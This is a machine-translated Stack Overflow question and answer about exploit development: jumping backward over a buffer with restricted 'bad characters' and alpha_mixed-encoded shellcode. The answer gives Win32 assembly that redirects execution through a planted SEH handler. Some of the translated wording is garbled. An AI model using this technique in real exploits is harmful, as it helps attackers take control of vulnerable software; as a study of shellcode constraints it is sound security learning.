【问题标题】:reverse move in stack without jmp在没有 jmp 的情况下在堆栈中反向移动
【发布时间】:2016-05-23 18:25:03
【问题描述】:

更新:由于我能够将正确的地址放入我想要跳转/调用的寄存器中,我认为最好的选择是找出一种自我修改的方法代码产生一个 jmp/call 寄存器。前任。 FFD6 call esi 谁能给我一些指示或汇编中如何获得结果 FFD6 的示例?

我正在搞乱一个漏洞利用,并且由于坏字符而很难在堆栈中向后移动。我需要向后移动大约 460 个字节才能到达缓冲区的开头。

以下是坏字符列表:

\x0a\x0d\x1a\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x8f\x91\x92\x93\x94\x95\x96\ x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\ xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\ xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

我仅限于 x86\alpha_mixed,但有一些例外,例如 x81 和 x8d。我能够在堆栈中移回的唯一方法是 \x74\x81 (这是允许的字符),但我必须这样做 4 次才能取回 ~460。这不是最大的问题,除了当我已经不得不将它编码为 alpha_mixed 时,这也会让我很难分割我的 shellcode。

我不是组装大师,所以我是否还有其他方法可以让我无需 jmp 或调用 (FF) 就可以直接返回?

【问题讨论】:

  • 是否允许自行修改代码?
  • 可以,只要没有坏字符。当我想我找到了我的解决方案时,我正在处理一个坏角色列表:omlette egghunter。这应该可以让我跳转并组合我的 shellcode 片段
  • 顺便问一下,为什么允许\x81?那么坏字符列表是什么? :)
  • @Jester 是的,我知道。我一直在尝试使用 alpha_mixed 来保证安全。有一些随机的、通常是坏的字符似乎确实有效。 \x81 & \x8d 工作。 \x00 仍然允许字符后缀。我用坏字符列表编辑了我的原始帖子。
  • @Jester 我尝试使用 msfvenom 将 E92FFEFFFF jmp dword 0xfffffe34 编码为 x86/alpha_mixed 但它给了我一个 695 字节的 shellcode,这显然太长了。除了手动操作,有没有更有效的方法?我能够获得正确的内存地址,即我想使用好的字符跳转到寄存器的位置,但是在找到与寄存器一起使用的不是坏字符的操作码时遇到问题。

标签: assembly stack buffer-overflow exploit shellcode


【解决方案1】:

我有一个可行的解决方案,但它仅适用于 Windows,并且基于一些其他假设。

它没有完全优化,我想有更好的方法来做这部分......

; ASSUMPTIONS:
;   Platform is Win32
;   ESI contains address to be jumped to
;   All characters except for 00 and the ones you listed above are allowed
;   The contents of the registers after the jump don't matter
; BASIC METHOD:
;   1) Set up a structured exception handler pointing to your target address
;   2) Cause an exception

; Get zero into EAX and EDX
00401000      B8 11111111   MOV EAX, 11111111
00401005      35 11111111   XOR EAX, 11111111
0040100A      50            PUSH EAX
0040100B      5A            POP EDX

; First part of the SEH: Push target address
0040100C      56            PUSH ESI

; Second part of the SEH: Read FS:[0] and push it
0040100D      64:0310       ADD EDX, FS:[EAX]
00401010      52            PUSH EDX

; Get zero into EDX again
00401011      50            PUSH EAX
00401012      5A            POP EDX

; Write new SEH pointer into FS:[0]
00401013      64:2110       AND FS:[EAX], EDX
00401016      64:0120       ADD FS:[EAX], ESP

; Trigger exception (writing to memory at address zero)
00401019      0110          ADD [EAX], EDX

【讨论】:

  • 这实际上是一个非常好的主意。谢谢你。附带说明一下,由于 SEH 异常会清除寄存器,因此是否有一种简单的方法可以将内存中的当前位置放入 win32 上的寄存器中,而不使用上述字符?
  • 我想我可能会回答我自己的问题,但我也想知道是否有其他方法。由于 0x8d 可用,我应该能够 lea reg,[ESP+whatever] 地址。
  • 刚刚修复了一点复制错误,第四条指令当然是pop而不是push。
  • 关于当前位置 - 我不确定我是否也考虑过这一点,我通常会调用基本上是“push eip”的下一条指令,但这不适用于您的限制。但是,您应该在异常发生后的某处获得堆栈上的指针,该指针指向我们之前推送的 esp 值,并且您还应该有一个指向异常记录和上下文的指针,您应该在其中看到异常发生的地址.
  • 不得不承认,我盲目地输入了你上面的内容,我有一段时间没有听到流行音乐。我还能够使用 msfvenom 编码反向跳转,它占用 64 个字节,但我还必须告诉它哪个寄存器保存代码的起始地址,否则它使用我没有可用的字符。我的漏洞利用目前 3 次中有 1 次有效,我只需要在 SEH 之后找到在内存中查找当前地址的最可靠方法,因为这也是我的漏洞利用方式。
猜你喜欢
  • 2011-12-30
  • 1970-01-01
  • 2016-08-30
  • 2018-08-20
  • 2012-05-01
  • 2021-09-03
  • 1970-01-01
  • 2017-05-30
  • 1970-01-01
相关资源
最近更新 更多